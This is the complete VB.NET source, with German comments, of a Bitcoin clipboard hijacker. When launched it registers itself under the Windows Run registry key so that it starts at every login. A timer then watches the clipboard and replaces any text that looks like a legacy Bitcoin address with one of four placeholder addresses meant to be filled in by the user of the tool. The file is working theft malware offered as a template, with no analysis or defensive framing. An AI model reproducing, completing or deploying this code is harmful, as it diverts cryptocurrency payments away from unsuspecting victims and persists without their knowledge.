Imports System.IO
Public Class Form1
'Autostart durch Eintragen des Programms in die Registry
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Location & """")
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
If My.Computer.Clipboard.ContainsText() Then 'wenn die Zwischenablage Text enthält,
Dim adr As String = My.Computer.Clipboard.GetText 'schreibe den Text in die Variable adr
' Und wenn die Länge den Textes 34,33,32,31,30,29,28 oder 27 ist
If adr.Length = "34" Or adr.Length = "33" Or adr.Length = "32" Or adr.Length = "31" Or adr.Length = "30" Or adr.Length = "29" Or adr.Length = "28" Or adr.Length = "27" Then
If adr.Substring(0, 1) = "1" Then ' wenn das erste Zeichen eine 1 ist
Dim random As New System.Random() 'erstelle eine neue random variable
Dim zahl As Long = random.Next(1, 5) 'der Variablen Zahl wird eine eine Nummer zwischen 1 und 5 zugeschrieben
If zahl = 4 Then ' wenn die Zahl 4 ist
My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 1") 'nutze diese Bitcoin addresse
End If
If zahl = 3 Then ' wenn die Zahl 3 ist
My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 2") 'nutze diese Bitcoin addresse
End If
If zahl = 2 Then ' wenn die Zahl 2 ist
My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 3") 'nutze diese Bitcoin addresse
End If
If zahl = 1 Then ' wenn die Zahl 1 ist
My.Computer.Clipboard.SetText("Deine Bitcoin Adresse 4") 'nutze diese Bitcoin addresse
End If
End If
End If
End If
End Sub
End Class